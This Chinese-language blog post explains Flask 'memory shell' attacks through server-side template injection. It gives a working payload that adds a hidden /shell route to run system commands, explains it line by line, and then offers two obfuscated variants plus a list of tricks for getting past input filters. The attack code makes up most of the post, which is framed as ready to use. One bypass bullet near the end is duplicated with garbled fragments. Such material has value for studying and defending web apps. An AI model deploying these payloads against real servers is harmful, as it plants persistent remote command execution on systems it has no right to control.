flask内存马的真谛!!!

发布于:2024-12-06 ⋅ 阅读:(26) ⋅ 点赞:(0)

flask内存马

1.概念

常用的Python框架有DjangoFlask, 这两者都可能存在SSTI漏洞. Python 内存马利用Flask框架中SSTI注入来实现, Flask框架中在web应用模板渲染的过程中用到render_template_string进行渲染, 但未对用户传输的代码进行过滤导致用户可以通过注入恶意代码来实现Python内存马的注入.

2.上下文管理机制

当网页请求进入Flask时, 会实例化一个Request Context. 在Python中分出了两种上下文: 请求上下文(request context)、应用上下文(session context). 一个请求上下文中封装了请求的信息, 而上下文的结构是运用了一个Stack的栈结构, 也就是说它拥有一个栈所拥有的全部特性. request context实例化后会被push到栈_request_ctx_stack中, 基于此特性便可以通过获取栈顶元素的方法来获取当前的请求.

payload

原始Flask内存马Payload:

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

在这里插入图片描述

payload解析

这段代码展示了如何在Flask应用中添加一个URL规则,该规则允许执行操作系统命令。具体来说,它使用add_url_rule方法向Flask应用添加了一个新的路由(endpoint),当访问路径为/shell时,会触发相应的处理函数。

让我们逐步解析这段代码:

app.add_url_rule('/shell', 'shell', lambda: __import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())
  1. app.add_url_rule(...): 这是Flask框架中的一个方法,用于将URL与视图函数绑定。第一个参数是URL路径,第二个参数是端点名称(endpoint name),第三个参数是要调用的视图函数。

  2. '/shell': 这是HTTP请求的路径,意味着当你访问服务器上的/shell路径时,会触发这个路由对应的处理逻辑。

  3. 'shell': 这是端点名称,在Flask内部用来唯一标识这个路由。

  4. lambda:: 使用了Python的匿名函数(lambda表达式)来定义视图函数。这里没有显式地定义函数名,而是直接在add_url_rule中定义了要执行的逻辑。

  5. __import__('os'): 动态导入Python的内置模块os。通常情况下,我们会使用import os,但这里使用了__import__函数,可能是为了绕过某些限制或检查。

  6. .popen(...).read(): os.popen()方法执行传入的命令字符串,并返回一个文件对象,我们可以从这个文件对象中读取命令的输出。.read()方法读取并返回命令的完整输出。

  7. _request_ctx_stack.top.request.args.get('cmd', 'whoami'): 这里获取了当前请求上下文中的查询参数cmd,如果cmd参数不存在,则默认执行whoami命令。_request_ctx_stack是一个内部的栈结构,保存着请求上下文信息。

payload集合

这里给出两个变形Payload:

  • Payload
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
  • 变形Payload-1
request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/h3rmesk1t', 'h3rmesk1t', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('shell', 'calc')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})
  • 变形Payload-2
get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("__builtins__")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0065\u0076\u0061\u006c")("app.add_ur"+"l_rule('/h3rmesk1t', 'h3rmesk1t', la"+"mbda :__imp"+"ort__('o"+"s').po"+"pen(_request_c"+"tx_stack.to"+"p.re"+"quest.args.get('shell')).re"+"ad())",{'\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b"),'app':get_flashed_messages|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetattribute\x5f\x5f")("\x5f\x5fgetitem\x5f\x5f")("\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070")})

ByPass

在实际应用中往往都存在过滤, 因此了解如何绕过还是必要的.

  • url_for可替换为get_flashed_messages或者request.__init__或者request.application.
  • 代码执行函数替换, 如exec等替换eval.
  • 字符串可采用拼接方式, 如['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al'].
  • __globals__可用__getattribute__('__globa'+'ls__')替换.
  • []可用.__getitem__().pop()替换.
  • 过滤{{或者}}, 可以使用{%或者%}绕过, {%%}中间可以执行if语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果.
  • 过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request['args']或者request['values']绕过.
  • 过滤了.可以采用attr()[]绕过.
    )[0][0]或者request[‘args’]或者request[‘values’]`绕过.
  • 过滤了.可以采用attr()[]绕过.
  • 其它的手法参考SSTI绕过过滤的方法即可…

参考自https://xz.aliyun.com/t/10933?time__1311=CqjxRQiQqQqqlxGg6CjeqmTKiT8ToD#toc-0

参考自https://www.mi1k7ea.com/2021/04/07/%E6%B5%85%E6%9E%90Python-Flask%E5%86%85%E5%AD%98%E9%A9%AC/


网站公告

今日签到

点亮在社区的每一天
去签到